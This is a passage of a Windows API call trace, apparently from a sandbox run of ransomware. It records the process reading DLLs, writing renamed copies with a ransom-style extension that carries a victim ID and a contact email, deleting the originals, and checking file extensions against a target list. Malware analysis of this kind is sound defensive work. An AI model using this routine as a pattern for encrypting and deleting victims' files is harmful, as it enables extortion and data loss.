	[0055.467] SetEndOfFile (hFile=0x330) returned 1
	[0055.467] CloseHandle (hObject=0x330) returned 1
	[0055.468] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.468] SetEndOfFile (hFile=0x398) returned 1
	[0055.469] CloseHandle (hObject=0x398) returned 1
	[0055.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1
	[0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.470] lstrlenW (lpString=".doc") returned 4
	[0055.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.470] lstrlenW (lpString=".docx") returned 5
	[0055.470] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.470] lstrlenW (lpString=".pdf") returned 4
	[0055.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.470] lstrlenW (lpString=".xls") returned 4
	[0055.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.470] lstrlenW (lpString=".xlsx") returned 5
	[0055.470] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.470] lstrlenW (lpString=".ppt") returned 4
	[0055.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.470] lstrlenW (lpString=".zip") returned 4
	[0055.470] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.470] lstrlenW (lpString=".rar") returned 4
	[0055.470] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.470] lstrlenW (lpString=".bz2") returned 4
	[0055.470] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.470] lstrlenW (lpString=".7z") returned 3
	[0055.470] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.471] lstrlenW (lpString=".dbf") returned 4
	[0055.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.471] lstrlenW (lpString=".1cd") returned 4
	[0055.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.471] lstrlenW (lpString=".jpg") returned 4
	[0055.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.471] lstrlenW (lpString=".doc") returned 4
	[0055.471] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.471] lstrlenW (lpString=".docx") returned 5
	[0055.471] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.471] lstrlenW (lpString=".pdf") returned 4
	[0055.471] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.471] lstrlenW (lpString=".xls") returned 4
	[0055.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.471] lstrlenW (lpString=".xlsx") returned 5
	[0055.471] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.471] lstrlenW (lpString=".ppt") returned 4
	[0055.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.472] lstrlenW (lpString=".zip") returned 4
	[0055.472] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.472] lstrlenW (lpString=".rar") returned 4
	[0055.472] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.472] lstrlenW (lpString=".bz2") returned 4
	[0055.472] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.472] lstrlenW (lpString=".7z") returned 3
	[0055.472] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.472] lstrlenW (lpString=".dbf") returned 4
	[0055.472] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.472] lstrlenW (lpString=".1cd") returned 4
	[0055.472] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0055.472] lstrlenW (lpString=".jpg") returned 4
	[0055.472] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.472] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.472] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0055.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.473] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=19648) returned 1
	[0055.473] CloseHandle (hObject=0x398) returned 1
	[0055.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20
	[0055.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.473] GetLastError () returned 0x0
	[0055.473] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0055.483] WriteFile (in: hFile=0x330, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0055.484] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.484] WriteFile (in: hFile=0x330, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x112, lpOverlapped=0x0) returned 1
	[0055.484] SetEndOfFile (hFile=0x330) returned 1
	[0055.484] CloseHandle (hObject=0x330) returned 1
	[0055.485] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.485] SetEndOfFile (hFile=0x398) returned 1
	[0055.486] CloseHandle (hObject=0x398) returned 1
	[0055.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1
	[0055.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.487] lstrlenW (lpString=".doc") returned 4
	[0055.487] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.487] lstrlenW (lpString=".docx") returned 5
	[0055.487] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.487] lstrlenW (lpString=".pdf") returned 4
	[0055.487] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.487] lstrlenW (lpString=".xls") returned 4
	[0055.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.487] lstrlenW (lpString=".xlsx") returned 5
	[0055.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.487] lstrlenW (lpString=".ppt") returned 4
	[0055.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.487] lstrlenW (lpString=".zip") returned 4
	[0055.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.487] lstrlenW (lpString=".rar") returned 4
	[0055.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.487] lstrlenW (lpString=".bz2") returned 4
	[0055.487] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.487] lstrlenW (lpString=".7z") returned 3
	[0055.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.487] lstrlenW (lpString=".dbf") returned 4
	[0055.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.488] lstrlenW (lpString=".1cd") returned 4
	[0055.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.488] lstrlenW (lpString=".jpg") returned 4
	[0055.488] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.488] lstrlenW (lpString=".doc") returned 4
	[0055.488] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString=".docx") returned 5
	[0055.488] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.488] lstrlenW (lpString=".pdf") returned 4
	[0055.488] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString=".xls") returned 4
	[0055.488] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString=".xlsx") returned 5
	[0055.488] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.488] lstrlenW (lpString=".ppt") returned 4
	[0055.488] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.488] lstrlenW (lpString=".zip") returned 4
	[0055.488] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString=".rar") returned 4
	[0055.488] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.488] lstrlenW (lpString=".bz2") returned 4
	[0055.488] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.488] lstrlenW (lpString=".7z") returned 3
	[0055.488] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.488] lstrlenW (lpString=".dbf") returned 4
	[0055.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.489] lstrlenW (lpString=".1cd") returned 4
	[0055.489] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0055.489] lstrlenW (lpString=".jpg") returned 4
	[0055.489] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.515] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.526] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.532] GetLastError () returned 0x0
	[0055.532] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0055.565] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0055.566] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.566] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0055.566] SetEndOfFile (hFile=0x334) returned 1
	[0055.567] CloseHandle (hObject=0x334) returned 1
	[0055.568] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.568] SetEndOfFile (hFile=0x2ec) returned 1
	[0055.568] CloseHandle (hObject=0x2ec) returned 1
	[0055.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.569] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1
	[0055.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0055.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0055.569] lstrlenW (lpString=".doc") returned 4
	[0055.569] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.569] lstrlenW (lpString=".docx") returned 5
	[0055.569] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.569] lstrlenW (lpString=".pdf") returned 4
	[0055.569] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.569] lstrlenW (lpString=".xls") returned 4
	[0055.569] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.569] lstrlenW (lpString=".xlsx") returned 5
	[0055.569] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.569] lstrlenW (lpString=".ppt") returned 4
	[0055.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0055.570] lstrlenW (lpString=".zip") returned 4
	[0055.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.570] lstrlenW (lpString=".rar") returned 4
	[0055.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.570] lstrlenW (lpString=".bz2") returned 4
	[0055.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.570] lstrlenW (lpString=".7z") returned 3
	[0055.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0055.570] lstrlenW (lpString=".dbf") returned 4
	[0055.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0055.570] lstrlenW (lpString=".1cd") returned 4
	[0055.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0055.570] lstrlenW (lpString=".jpg") returned 4
	[0055.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.570] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.570] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.571] GetLastError () returned 0x0
	[0055.571] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x68c0, lpOverlapped=0x0) returned 1
	[0055.572] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x68d0, lpOverlapped=0x0) returned 1
	[0055.573] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.573] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0055.573] SetEndOfFile (hFile=0x334) returned 1
	[0055.573] CloseHandle (hObject=0x334) returned 1
	[0055.574] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.574] SetEndOfFile (hFile=0x2ec) returned 1
	[0055.575] CloseHandle (hObject=0x2ec) returned 1
	[0055.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.576] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1
	[0055.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0055.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0055.576] lstrlenW (lpString=".doc") returned 4
	[0055.576] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.576] lstrlenW (lpString=".docx") returned 5
	[0055.576] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.576] lstrlenW (lpString=".pdf") returned 4
	[0055.576] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.576] lstrlenW (lpString=".xls") returned 4
	[0055.576] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.576] lstrlenW (lpString=".xlsx") returned 5
	[0055.576] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.576] lstrlenW (lpString=".ppt") returned 4
	[0055.576] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0055.576] lstrlenW (lpString=".zip") returned 4
	[0055.576] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.576] lstrlenW (lpString=".rar") returned 4
	[0055.576] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.576] lstrlenW (lpString=".bz2") returned 4
	[0055.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.576] lstrlenW (lpString=".7z") returned 3
	[0055.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0055.576] lstrlenW (lpString=".dbf") returned 4
	[0055.577] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0055.577] lstrlenW (lpString=".1cd") returned 4
	[0055.577] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0055.577] lstrlenW (lpString=".jpg") returned 4
	[0055.577] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.577] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.577] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.577] GetLastError () returned 0x0
	[0055.577] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x114c0, lpOverlapped=0x0) returned 1
	[0055.589] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x114d0, lpOverlapped=0x0) returned 1
